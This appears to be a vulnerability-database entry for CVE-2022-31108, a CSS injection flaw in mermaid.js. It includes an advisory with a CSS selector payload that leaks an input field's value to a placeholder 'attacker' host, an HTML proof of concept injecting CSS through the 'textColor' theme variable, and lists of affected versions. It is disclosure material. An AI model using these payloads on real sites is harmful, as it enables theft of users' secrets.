Lookup for vulnerabilities affecting packages.

Vulnerability_idVCID-6qac-5y2d-akdd
Summary
Possible inject arbitrary `CSS` into the generated graph affecting the container HTML
An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors.

The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.

```css
input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }
```

### Patches
_Has the problem been patched? What versions should users upgrade to?_

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

### References
_Are there any links users can visit to find out more?_

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [example link to repo](http://example.com)
* Email us at [example email address](mailto:example@example.com)
## Product

mermaid.js

## Tested Version

[v9.1.1](https://github.com/mermaid-js/mermaid/releases/tag/9.1.1)

## Details

### Issue 1: Multiple CSS Injection (`GHSL-2022-036`)

By supplying a carefully crafted `textColor` theme variable, an attacker can inject arbitrary `CSS` rules into the document. In the following snippet we can see that `getStyles` does not sanitize any of the theme variables leaving the door open for `CSS` injection.

_Snippet from [src/styles.js](https://github.com/mermaid-js/mermaid/blob/9eae97ddab1b6eca58d2fd4af62357d2f4d8d1f7/src/styles.js#L35):_

```js
const getStyles = (type, userStyles, options) => {
  return ` {
    font-family: ${options.fontFamily};
    font-size: ${options.fontSize};
    fill: ${options.textColor}
  }
```

For example, if we set `textColor` to `"green;} #target { background-color: crimson }"` the resulting `CSS` will contain a new selector `#target` that will apply a `crimson` background color to an arbitrary element.

```html
<html>

<body>
    <div id="target">
        <h1>This element does not belong to the SVG but we can style it</h1>
    </div>
    <svg id="diagram">
    </svg>

    <script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
    <script>
        mermaid.initialize({ startOnLoad: false });

        const graph =
            `
            %%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
            graph TD
                A[Goose]
            `

        const diagram = document.getElementById("diagram")
        const svg = mermaid.render('diagram-svg', graph)
        diagram.innerHTML = svg
    </script>
</body>

</html>
```

In the proof of concept above we used the `textColor` variable to inject `CSS`, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:

- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393
- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35

#### Impact

This issue may lead to `Information Disclosure` via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.

#### Remediation

Ensure that user input is adequately escaped before embedding it in CSS blocks.
Aliases
0
alias CVE-2022-31108
1
alias GHSA-x3vm-38hw-55wf
Fixed_packages
0
url pkg:npm/mermaid@9.1.2
purl pkg:npm/mermaid@9.1.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.1.2
1
url pkg:npm/mermaid@9.1.3
purl pkg:npm/mermaid@9.1.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.1.3
Affected_packages
0
url pkg:npm/mermaid@8.0.0
purl pkg:npm/mermaid@8.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-9hch-63av-c3e2
2
vulnerability VCID-fgz4-kbun-23bn
3
vulnerability VCID-fwuk-z3uk-1ygf
4
vulnerability VCID-hbtz-4sw3-63dt
5
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.0.0
1
url pkg:npm/mermaid@8.1.0
purl pkg:npm/mermaid@8.1.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-9hch-63av-c3e2
2
vulnerability VCID-fgz4-kbun-23bn
3
vulnerability VCID-fwuk-z3uk-1ygf
4
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.1.0
2
url pkg:npm/mermaid@8.2.1
purl pkg:npm/mermaid@8.2.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-9hch-63av-c3e2
2
vulnerability VCID-fgz4-kbun-23bn
3
vulnerability VCID-fwuk-z3uk-1ygf
4
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.1
3
url pkg:npm/mermaid@8.2.2
purl pkg:npm/mermaid@8.2.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-9hch-63av-c3e2
2
vulnerability VCID-fgz4-kbun-23bn
3
vulnerability VCID-fwuk-z3uk-1ygf
4
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.2
4
url pkg:npm/mermaid@8.2.3
purl pkg:npm/mermaid@8.2.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.3
5
url pkg:npm/mermaid@8.2.4
purl pkg:npm/mermaid@8.2.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.4
6
url pkg:npm/mermaid@8.2.5
purl pkg:npm/mermaid@8.2.5
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.5
7
url pkg:npm/mermaid@8.2.6
purl pkg:npm/mermaid@8.2.6
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.6
8
url pkg:npm/mermaid@8.3.0
purl pkg:npm/mermaid@8.3.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.3.0
9
url pkg:npm/mermaid@8.3.1
purl pkg:npm/mermaid@8.3.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.3.1
10
url pkg:npm/mermaid@8.4.0
purl pkg:npm/mermaid@8.4.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.0
11
url pkg:npm/mermaid@8.4.1
purl pkg:npm/mermaid@8.4.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.1
12
url pkg:npm/mermaid@8.4.2
purl pkg:npm/mermaid@8.4.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.2
13
url pkg:npm/mermaid@8.4.3
purl pkg:npm/mermaid@8.4.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.3
14
url pkg:npm/mermaid@8.4.4
purl pkg:npm/mermaid@8.4.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.4
15
url pkg:npm/mermaid@8.4.5
purl pkg:npm/mermaid@8.4.5
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.5
16
url pkg:npm/mermaid@8.4.6
purl pkg:npm/mermaid@8.4.6
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.6
17
url pkg:npm/mermaid@8.4.7
purl pkg:npm/mermaid@8.4.7
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.7
18
url pkg:npm/mermaid@8.4.8
purl pkg:npm/mermaid@8.4.8
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.8
19
url pkg:npm/mermaid@8.5.0
purl pkg:npm/mermaid@8.5.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.5.0
20
url pkg:npm/mermaid@8.5.1
purl pkg:npm/mermaid@8.5.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.5.1
21
url pkg:npm/mermaid@8.5.2
purl pkg:npm/mermaid@8.5.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.5.2
22
url pkg:npm/mermaid@8.6.0
purl pkg:npm/mermaid@8.6.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.6.0
23
url pkg:npm/mermaid@8.6.1
purl pkg:npm/mermaid@8.6.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.6.1
24
url pkg:npm/mermaid@8.6.2
purl pkg:npm/mermaid@8.6.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.6.2
25
url pkg:npm/mermaid@8.6.3
purl pkg:npm/mermaid@8.6.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.6.3
26
url pkg:npm/mermaid@8.6.4
purl pkg:npm/mermaid@8.6.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.6.4
27
url pkg:npm/mermaid@8.7.0
purl pkg:npm/mermaid@8.7.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.7.0
28
url pkg:npm/mermaid@8.8.0
purl pkg:npm/mermaid@8.8.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.8.0
29
url pkg:npm/mermaid@8.8.1
purl pkg:npm/mermaid@8.8.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.8.1
30
url pkg:npm/mermaid@8.8.2
purl pkg:npm/mermaid@8.8.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.8.2
31
url pkg:npm/mermaid@8.8.3
purl pkg:npm/mermaid@8.8.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.8.3
32
url pkg:npm/mermaid@8.8.4
purl pkg:npm/mermaid@8.8.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.8.4
33
url pkg:npm/mermaid@8.9.0
purl pkg:npm/mermaid@8.9.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.9.0
34
url pkg:npm/mermaid@8.9.1
purl pkg:npm/mermaid@8.9.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.9.1
35
url pkg:npm/mermaid@8.9.2
purl pkg:npm/mermaid@8.9.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.9.2
36
url pkg:npm/mermaid@8.9.3
purl pkg:npm/mermaid@8.9.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.9.3
37
url pkg:npm/mermaid@8.10.1
purl pkg:npm/mermaid@8.10.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.10.1
38
url pkg:npm/mermaid@8.10.2
purl pkg:npm/mermaid@8.10.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
3
vulnerability VCID-x94b-cysu-4fbe
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.10.2
39
url pkg:npm/mermaid@8.11.0
purl pkg:npm/mermaid@8.11.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.0
40
url pkg:npm/mermaid@8.11.1
purl pkg:npm/mermaid@8.11.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.1
41
url pkg:npm/mermaid@8.11.2
purl pkg:npm/mermaid@8.11.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.2
42
url pkg:npm/mermaid@8.11.3
purl pkg:npm/mermaid@8.11.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.3
43
url pkg:npm/mermaid@8.11.4
purl pkg:npm/mermaid@8.11.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.4
44
url pkg:npm/mermaid@8.11.5
purl pkg:npm/mermaid@8.11.5
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.5
45
url pkg:npm/mermaid@8.12.0
purl pkg:npm/mermaid@8.12.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.12.0
46
url pkg:npm/mermaid@8.12.1
purl pkg:npm/mermaid@8.12.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.12.1
47
url pkg:npm/mermaid@8.13.0
purl pkg:npm/mermaid@8.13.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.0
48
url pkg:npm/mermaid@8.13.1
purl pkg:npm/mermaid@8.13.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.1
49
url pkg:npm/mermaid@8.13.2
purl pkg:npm/mermaid@8.13.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.2
50
url pkg:npm/mermaid@8.13.3
purl pkg:npm/mermaid@8.13.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.3
51
url pkg:npm/mermaid@8.13.4
purl pkg:npm/mermaid@8.13.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.4
52
url pkg:npm/mermaid@8.13.5
purl pkg:npm/mermaid@8.13.5
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.5
53
url pkg:npm/mermaid@8.13.6
purl pkg:npm/mermaid@8.13.6
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.6
54
url pkg:npm/mermaid@8.13.7
purl pkg:npm/mermaid@8.13.7
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fgz4-kbun-23bn
2
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.7
55
url pkg:npm/mermaid@8.13.8
purl pkg:npm/mermaid@8.13.8
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.8
56
url pkg:npm/mermaid@8.13.9
purl pkg:npm/mermaid@8.13.9
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.9
57
url pkg:npm/mermaid@8.13.10
purl pkg:npm/mermaid@8.13.10
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.10
58
url pkg:npm/mermaid@8.14.0-rc1
purl pkg:npm/mermaid@8.14.0-rc1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.14.0-rc1
59
url pkg:npm/mermaid@8.14.0
purl pkg:npm/mermaid@8.14.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.14.0
60
url pkg:npm/mermaid@9.0.0
purl pkg:npm/mermaid@9.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.0.0
61
url pkg:npm/mermaid@9.0.1
purl pkg:npm/mermaid@9.0.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.0.1
62
url pkg:npm/mermaid@9.1.0
purl pkg:npm/mermaid@9.1.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.1.0
63
url pkg:npm/mermaid@9.1.1
purl pkg:npm/mermaid@9.1.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.1.1
64
url pkg:npm/mermaid@9.1.2
purl pkg:npm/mermaid@9.1.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-6qac-5y2d-akdd
1
vulnerability VCID-fwuk-z3uk-1ygf
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.1.2
References
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2022-31108
reference_id
reference_type
scores
0
value 0.00235
scoring_system epss
scoring_elements 0.4642
published_at 2026-04-07T12:55:00Z
1
value 0.00235
scoring_system epss
scoring_elements 0.46463
published_at 2026-04-24T12:55:00Z
2
value 0.00235
scoring_system epss
scoring_elements 0.46482
published_at 2026-04-21T12:55:00Z
3
value 0.00235
scoring_system epss
scoring_elements 0.46535
published_at 2026-04-18T12:55:00Z
4
value 0.00235
scoring_system epss
scoring_elements 0.46537
published_at 2026-04-16T12:55:00Z
5
value 0.00235
scoring_system epss
scoring_elements 0.46479
published_at 2026-04-13T12:55:00Z
6
value 0.00235
scoring_system epss
scoring_elements 0.46499
published_at 2026-04-11T12:55:00Z
7
value 0.00235
scoring_system epss
scoring_elements 0.46475
published_at 2026-04-08T12:55:00Z
8
value 0.00235
scoring_system epss
scoring_elements 0.4647
published_at 2026-04-12T12:55:00Z
9
value 0.00235
scoring_system epss
scoring_elements 0.46476
published_at 2026-04-09T12:55:00Z
10
value 0.00235
scoring_system epss
scoring_elements 0.46451
published_at 2026-04-02T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2022-31108
1
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31108
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31108
2
reference_url https://github.com/mermaid-js/mermaid
reference_id
reference_type
scores
0
value 4.1
